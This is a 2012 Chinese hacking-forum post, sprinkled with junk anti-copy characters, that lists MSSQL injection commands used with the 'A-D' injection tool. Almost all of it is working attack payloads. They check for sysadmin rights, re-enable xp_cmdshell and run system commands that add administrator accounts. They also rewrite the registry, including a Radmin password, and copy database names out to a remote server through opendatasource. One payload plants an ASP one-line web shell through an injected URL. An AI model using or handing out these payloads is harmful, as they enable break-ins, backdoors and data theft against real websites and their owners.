找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1901|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令% o3 @) V% ^0 [' S4 ~
//看看是什么权限的
- o/ A8 H- a6 p% [% xand 1=(Select IS_MEMBER('db_owner'))
& s; W  K  O( U3 YAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--3 C0 F7 W0 ~1 c! R$ e1 F
, J- b+ O; r: f" k$ n; |
//检测是否有读取某数据库的权限* i$ E3 _' a2 B! l2 d* C  d
and 1= (Select HAS_DBACCESS('master'))
1 C9 k: ~) n7 a6 I& TAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
7 \- s3 Z7 U) ]3 E- F; i- ^
# a9 Y2 e8 f' b9 L$ ^" R% z4 X5 H) z7 H$ W& a
数字类型
5 m5 L7 }/ S$ x$ iand char(124)%2Buser%2Bchar(124)=0
5 r/ G( j- Y. @* h6 B% j; X% J  G" v. W
字符类型
9 b1 X2 V. Q( M' B: c' and char(124)%2Buser%2Bchar(124)=0 and ''='
4 z6 o3 X, a1 |' k, m; F# D  w* w& g2 |7 _: o+ V$ }
搜索类型$ j; U% d" D, f  Q
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
- b- N" t: |. p5 [' k' l  ~% A/ h, ^6 H# D
爆用户名7 {8 C) {( S  d! H' A% D# t+ o
and user>0
& [# M9 T* Y  ?; i' and user>0 and ''='& b" O- X6 I7 |5 t4 O! N
4 O6 o9 `" u- N9 a/ h7 m
检测是否为SA权限7 c: t% k9 U/ F" L$ A( o) o
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 v; Q+ M6 U: T6 q: r( k% Z( e5 uAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
/ Y* c8 \! e( V: e0 F# N. ]( T. Y/ P/ i. G: ^3 k8 c
检测是不是MSSQL数据库
4 v, }, h& m8 P) zand exists (select * from sysobjects);--
% s5 W5 I% _/ J1 k: t" x( a2 f" v9 S
检测是否支持多行
: ?8 s4 V& J% x3 s% w- u;declare @d int;--
" n& z1 [" _- ~$ J5 @2 l& W7 t1 V: b3 k( L$ i7 d9 o' C- H7 c
恢复 xp_cmdshell
% D2 |0 x% e$ @# J- |& Q' d2 {;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
; Z( I  j2 \6 l- u6 i7 `& \2 Z. c* z7 l

" X# i9 l) f5 x1 u0 k) m3 h' xselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') * p" H  o; |, B! l0 E: ^

1 ?( U0 g9 q; b6 y//-----------------------
( ^1 p4 B9 s+ L7 r& E//      执行命令
( d: s! V5 @& }3 U- D//-----------------------
6 `% w+ F$ Y2 r1 }/ D* g2 u首先开启沙盘模式:
+ Z3 L3 |" D2 e! X/ Mexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
2 y) V6 R* C! q2 q8 x! K) b  R6 X8 ]' t5 @) g$ t* \/ @; Y( [0 d5 @
然后利用jet.oledb执行系统命令
5 \2 x, Y+ }0 wselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
% U# w3 r$ C3 K1 C% F0 P9 s: q, ?9 h, \7 w  [+ |7 D. f
执行命令
4 Q9 `7 k: b1 ?;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--* J2 A9 v5 Y; m; ^: r3 M
% y1 [9 A8 ]8 W/ b( s+ Z( |  l" _9 k1 E3 P
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
" z; j; g2 }  A9 {5 T" m. T) [/ q! j; U' x% u# i1 `# \+ x
判断xp_cmdshell扩展存储过程是否存在:* `' W! d  n- o$ P: N9 a
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
9 _+ R4 A- h8 {! L5 \6 I" b2 d" N2 E& O6 {, {2 v4 ]
写注册表  c, j. V/ l7 _+ Q! e" }4 G) n! t
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1# m: Z! N( `% Y0 h1 m3 L

& K8 k4 R% i5 s+ M! @' J6 D) dREG_SZ, Q; P& h* I; x' c
' Q6 q  |: g& H2 y
读注册表- t& G+ r! p4 X
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'" T3 }. u% Q- _5 Y% g/ I

# C; s3 S3 d1 q3 Z* f读取目录内容* H4 R1 i# H- U' a4 x
exec master..xp_dirtree 'c:\winnt\system32\',1,1' A/ ^' L, L1 ^% z) c( o$ ?6 X2 s

7 d6 G8 L! O4 W- t* H$ X9 S4 T, _3 B' @; u* E
数据库备份( H# E+ O. ?+ ?, j/ T; Y
backup database pubs to disk = 'c:\123.bak', @& r- G' K/ H, J; x0 T

, @) `& o: Q$ J+ A5 X4 M' r/ u) J//爆出长度4 U2 x- d3 a  f. ?) }& i# _% s
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--8 G1 |# A9 I7 P7 e

) f: U: y* k7 m+ L8 a
8 S/ m# X, `$ k1 u' A8 _
) N8 h. C# a1 B) `/ Z更改sa口令方法:用sql综合利用工具连接后,执行命令:
3 }* Q& I7 Q8 y% texec sp_password NULL,'新密码','sa') c5 s4 x* w- y$ p" x1 O- w
# [0 o% }5 C- C/ c; Z1 B
添加和删除一个SA权限的用户test:, D4 a" A; s8 A' ?5 ^
exec master.dbo.sp_addlogin test,ptlove
% h- [3 E9 q0 Iexec master.dbo.sp_addsrvrolemember test,sysadmin
/ A7 M9 T1 K" ]1 y; B/ M( q
/ I' j( A  j, C删除扩展存储过过程xp_cmdshell的语句:
) ^. H) x1 U- \( t9 w' E) W6 a% ]( Sexec sp_dropextendedproc 'xp_cmdshell'
% p( m6 L; s+ ]) V; y8 k/ x, F. q/ o5 x1 e
添加扩展存储过过程% L% U% k  v$ O# R, c
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' , f$ a) @1 o1 X6 b5 ~2 Q: R1 _8 `
GRANT exec On xp_proxiedadata TO public
7 x4 h( Z; J4 ^' _% C5 Z9 n7 |6 L, u- q; r! g1 p

* R; `( s9 @; s停掉或激活某个服务。 , }7 G. l  Q5 [4 G0 U; L2 g

1 }) u1 i' s' {& b( hexec master..xp_servicecontrol 'stop','schedule'
2 y: v/ D! @- B( F$ U# i) Oexec master..xp_servicecontrol 'start','schedule'* `* u3 K2 e  S, A$ P

! m& G+ ~% n" }4 Y9 f4 a, ^# Ndbo.xp_subdirs2 v8 ]7 G, L+ B" b. S( X, M

2 _( f* x3 r, n+ Z只列某个目录下的子目录。
! l' j) ~" g2 X" _/ oxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
8 d  k" `( _( i" m2 J- E5 X
8 e) J; a/ E! o# mdbo.xp_makecab
" B+ ]# g. p0 V. l  x
9 M2 k; U9 c1 s4 p# ~将目标多个档案压缩到某个目标档案之内。
7 _9 Q( t( l0 E所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
. J9 T2 ?' ]# P& A  c; G$ X+ ^7 y+ V$ f7 m, Y
dbo.xp_makecab
/ s% `% P; H* r& C. j'c:\test.cab','mszip',1,% g8 k$ c+ x7 U# `  P! X
'C:\Inetpub\wwwroot\SQLInject\login.asp',, E5 ~9 q( ^" _. l- j1 a$ i
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
7 w% {% P6 I  |3 w# O8 V1 w, e+ C0 _0 E+ V
xp_terminate_process
" A: v8 j& A$ g9 D$ w( |, }/ D1 u' _$ Z& R# d  e7 c
停掉某个执行中的程序,但赋予的参数是 Process ID。
: @5 l- M& h7 P. X# \. D, s% s0 N& u利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID! o" C; m2 J. x7 S, n+ o5 a

5 c. _: T  R9 L8 g7 Q% _, yxp_terminate_process 24849 c% ]& b9 L$ n7 e  S" e
1 B; g5 }' _6 H0 R0 O4 O
xp_unpackcab
5 H, B. C6 Q# _5 e3 Z$ [- a( a9 K9 K+ N* e9 c5 y
解开压缩档。! y( Q8 h$ |' @, e& V* |1 g

$ o! V, a  q. z. Z' [( Hxp_unpackcab 'c:\test.cab','c:\temp',14 D9 ~  x0 I( L  W- n3 |/ n
3 j; @2 Y& g& C4 D( P8 B/ [

) V2 f8 D5 Z! ]1 b某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234* P# z3 ^) d9 S
( w$ `# `% o! Q
create database lcx;
/ q9 b2 N2 V) j3 p" u) z  R% i* C2 ]Create TABLE ku(name nvarchar(256) null);
; `% N5 S+ z5 M) Q2 c+ BCreate TABLE biao(id int NULL,name nvarchar(256) null);
+ g/ E0 J' A9 S* Q8 q7 N0 e
  s) n1 {) a$ O9 m2 H* z% O8 ^2 {: o//得到数据库名
7 ]5 w) M5 t/ [# z; ?# Dinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases  R  q( |  {  {) R" T4 }

4 P2 H) t' m. K" H' L
, k. ]# |2 L6 {3 ^2 G//在Master中创建表,看看权限怎样
' b' ]  \8 z0 k+ V) I2 pCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--' u$ ~* N* t  R# E. w# @9 w8 j  ^
$ ~; K8 W& {' v% v) D
用 sp_makewebtask直接在web目录里写入一句话马:2 {7 V4 W' o- h. M# t* T
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--% S- T2 Z- c! Z3 D

. n4 ]. e4 J; l. B//更新表内容% F! i4 L8 d6 j, _( H
Update films SET kind = 'Dramatic' Where id = 123. s, [4 l; q6 m9 @% y0 ^! c

8 W/ q( s& `- i4 I2 m//删除内容
, {" R' B0 ?4 X7 `: Adelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表